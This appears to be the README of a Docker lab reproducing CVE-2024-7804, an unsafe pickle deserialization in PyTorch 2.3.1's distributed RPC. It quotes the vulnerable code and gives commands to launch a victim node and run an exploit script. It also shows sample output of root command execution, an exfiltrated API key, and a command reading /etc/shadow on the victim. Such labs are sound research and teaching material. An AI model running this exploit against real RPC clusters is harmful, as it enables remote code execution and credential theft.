# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- pickle يتحكم فيه المهاجم
    ...

CVE-2024-7804/
├── docker-compose.yml   # الضحية + المهاجم على شبكة bridge واحدة
├── lab/
│   ├── Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) — الصورة القابلة للاستغلال
│   └── server.py        # الضحية: عامل RPC يثق بالآخرين وينتظر النظائر
└── exploit/
    └── exploit.py       # المهاجم: ينضم إلى العالم وينفّذ RCE على الضحية

# 1. تشغيل عقدة الضحية القابلة للاستغلال (rank 0، تنتظر نظيرًا)
docker compose up --build -d victim

# 2. تشغيل الاستغلال (الافتراضي: تنفيذ أمر على الضحية واسترجاع مخرجاته)
docker compose run --rm attacker

# 3. إيقاف كل شيء
docker compose down

[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====

docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # يظهر المخرج في سجل الضحية